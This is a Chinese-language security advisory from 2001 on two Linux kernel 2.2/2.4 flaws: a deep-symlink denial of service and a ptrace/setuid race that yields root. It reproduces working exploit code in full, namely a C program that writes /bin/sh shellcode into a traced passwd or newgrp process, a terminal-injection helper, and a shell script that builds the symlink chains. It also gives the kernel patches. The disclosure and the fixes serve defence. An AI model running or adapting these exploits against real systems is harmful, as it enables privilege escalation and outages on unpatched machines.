Linux 内核存在漏洞发布时间:2001-10-19 更新时间:2001-10-19 严重程度:高 威胁程度:本地管理员权限 错误类型:设计错误 利用方式:服务器模式 受影响系统 linux 2.2.x, x<=19 和 2.4.y, y<=9详细描述 linux 2.2.x, x<=19 和 2.4.y, y<=9中存在本地拒绝服务攻击和ptrace问题, 1)通过深层符号连接可以导致拒绝服务攻击 攻击者可以强迫通过内核对深层符号连接进行大量的时间处理,而导致不能 处理其他进程。下面脚本建立了5个符号连接,每个包含2*N+1个路径元素, 当N=3时,符号连接如下: $ ls -lG drwxr-xr-x 2 nergal 4096 wrz 21 14:46 l lrwxrwxrwx 1 nergal 53 wrz 21 14:46 l0 -> l1/../l1/../l1/../l/../../../../../../../etc/services lrwxrwxrwx 1 nergal 19 wrz 21 14:46 l1 -> l2/../l2/../l2/../l lrwxrwxrwx 1 nergal 19 wrz 21 14:46 l2 -> l3/../l3/../l3/../l lrwxrwxrwx 1 nergal 19 wrz 21 14:46 l3 -> l4/../l4/../l4/../l lrwxrwxrwx 1 nergal 19 wrz 21 14:46 l4 -> l5/../l5/../l5/../l drwxr-xr-x 2 nergal 4096 wrz 21 14:46 l5 drwxr-xr-x 2 rybagowa 4096 lut 27 1999 still_here 时间命令"head l0"消耗时间如下: N system time 10: sys 0m0.050s 20: sys 0m1.400s 30: sys 0m10.150s 40: sys 0m41.840s 当"head l0"被执行的时候,其他进程没有安排运行,这样就可以导致拒绝 服务攻击。 2)通过ptrace(3)可以导致ROOT权利的获得 要问题在于当一个进程被ptrace跟踪后,如果它再启动某个setuid程序时,系统仍然认为它是一个被跟踪的进程。这可能导致普通用户的进程可以修改特权进程的执行流程,从而提升权限。 测试代码 --------------------------------------------------------------- /* by Nergal */ #include <stdio.h> #include <sys/ptrace.h> struct user_regs_struct { long ebx, ecx, edx, esi, edi, ebp, eax; unsigned short ds, __ds, es, __es; unsigned short fs, __fs, gs, __gs; long orig_eax, eip; unsigned short cs, __cs; long eflags, esp; unsigned short ss, __ss; }; /* spiritual black dimension */ char hellcode[] = "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; #define ADDR 0x00125000 main(int argc, char **argv) { int status; int i, wpid, pid = atoi(argv[1]); struct user_regs_struct regs; if (ptrace(PTRACE_GETREGS, pid, 0, ®s)) { perror("PTRACE_GETREGS"); exit(0); } regs.eip = ADDR; if (ptrace(PTRACE_SETREGS, pid, 0, ®s)) exit(0); for (i = 0; i <= strlen(hellcode) + 5; i += 4) ptrace(PTRACE_POKETEXT, pid, ADDR + i, *(unsigned int *) (hellcode + i)); // kill (pid, SIGSTOP); if (ptrace(PTRACE_DETACH, pid, 0, 0)) exit(0); close(2); do { wpid = waitpid(-1, &status, 0); if (wpid == -1) { perror("waitpid"); exit(1); } } while (wpid != pid); } -------------------------------------------------------------------- #!/bin/sh # by Nergal mklink() { IND=$1 NXT=$(($IND+1)) EL=l$NXT/../ P="" I=0 while [ $I -lt $ELNUM ] ; do P=$P"$EL" I=$(($I+1)) done ln -s "$P"l$2 l$IND } #main program if [ $# != 1 ] ; then echo A numerical argument is required. exit 0 fi ELNUM=$1 mklink 4 mklink 3 mklink 2 mklink 1 mklink 0 /../../../../../../../etc/services mkdir l5 mkdir l --------------------------------------------------------------------- /* by Nergal */ #include <stdio.h> #include <sys/ptrace.h> #include <fcntl.h> #include <sys/ioctl.h> void ex_passwd(int fd) { char z; if (read(fd, &z, 1) <= 0) { perror("read:"); exit(1); } execl("/usr/bin/passwd", "passwd", 0); perror("execl"); exit(1); } void insert(int pid) { char buf[100]; char *ptr = buf; sprintf(buf, "exec ./insert_shellcode %i\n", pid); while (*ptr && !ioctl(0, TIOCSTI, ptr++)); } main(int argc, char **argv) { int res, fifo; int status; int pid, n; int pipa[2]; char buf[1024]; pipe(pipa); switch (pid = fork()) { case -1: perror("fork"); exit(1); case 0: close(pipa[1]); ex_passwd(pipa[0]); default:; } res = ptrace(PTRACE_ATTACH, pid, 0, 0); if (res) { perror("attach"); exit(1); } res = waitpid(-1, &status, 0); if (res == -1) { perror("waitpid"); exit(1); } res = ptrace(PTRACE_CONT, pid, 0, 0); if (res) { perror("cont"); exit(1); } fprintf(stderr, "attached\n"); switch (fork()) { case -1: perror("fork"); exit(1); case 0: close(pipa[1]); sleep(1); insert(pid); do { n = read(pipa[0], buf, sizeof(buf)); } while (n > 0); if (n < 0) perror("read"); exit(0); default:; } close(pipa[0]); dup2(pipa[1], 2); close(pipa[1]); /* Decrystallizing reason */ setenv("LD_DEBUG", "libs", 1); /* With strength I burn */ execl("/usr/bin/newgrp", "newgrp", 0); } 解决方案 2.4.12 kernel 已经修补了这些问题,2.2.19-deep-symlink.patch 和 2.2.19-ptrace.patch可以修补2.2.19上的问题。 -------------------------------------------------------------------- --- linux-2.2.19/fs/namei.c.orig Wed Oct 10 09:31:37 2001 +++ linux-2.2.19/fs/namei.c Wed Oct 10 10:30:56 2001 @@ -277,6 +277,15 @@ result->d_op->d_revalidate(result, flags); return result; } +/* + * Yes, this really increments the link_count by 5, and + * decrements it by 4. Together with checking against 25, + * this limits recursive symlink follows to 5, while + * limiting consecutive symlinks to 25. + * + * Without that kind of total limit, nasty chains of consecutive + * symlinks can cause almost arbitrarily long lookups. + */ static struct dentry * do_follow_link(struct dentry *base, struct dentry *dentry, unsigned int follow) { @@ -284,13 +293,17 @@ if ((follow & LOOKUP_FOLLOW) && inode && inode->i_op && inode->i_op->follow_link) { - if (current->link_count < 5) { + if (current->link_count < 25) { struct dentry * result; - current->link_count++; + if (current->need_resched) { + current->state = TASK_RUNNING; + schedule(); + } + current->link_count += 5; /* This eats the base */ - result = inode->i_op->follow_link(dentry, base, follow); - current->link_count--; + result = inode->i_op->follow_link(dentry, base, follow|LOOKUP_INSYMLINK); + current->link_count -= 4; dput(dentry); return result; } @@ -324,6 +337,8 @@ struct dentry * dentry; struct inode *inode; + if (!(lookup_flags & LOOKUP_INSYMLINK)) + current->link_count=0; if (*name == '/') { if (base) dput(base); --- linux-2.2.19/include/linux/fs.h.orig Wed Oct 10 10:06:41 2001 +++ linux-2.2.19/include/linux/fs.h Wed Oct 10 10:07:58 2001 @@ -872,6 +872,7 @@ #define LOOKUP_DIRECTORY (2) #define LOOKUP_SLASHOK (4) #define LOOKUP_CONTINUE (8) +#define LOOKUP_INSYMLINK (16) extern struct dentry * lookup_dentry(const char *, struct dentry *, unsigned int); extern struct dentry * __namei(const char *, unsigned int); ---------------------------------------------------------------------- diff -urP linux-2.2.19/fs/exec.c linux/fs/exec.c --- linux-2.2.19/fs/exec.c Mon Mar 26 07:13:23 2001 +++ linux/fs/exec.c Tue Oct 9 05:00:50 2001 @@ -552,12 +645,11 @@ } /* - * We mustn't allow tracing of suid binaries, unless - * the tracer has the capability to trace anything.. + * We mustn't allow tracing of suid binaries, no matter what. */ static inline int must_not_trace_exec(struct task_struct * p) { - return (p->flags & PF_PTRACED) && !cap_raised(p->p_pptr->cap_effective, CAP_SYS_PTRACE); + return (p->flags & PF_PTRACED); } /* --------------------------------------------------------------------- 相关信息 Nergal http://www.7bulls.com 参考:http://archives.neohapsis.com/archives/bugtraq/2001-10/0135.html |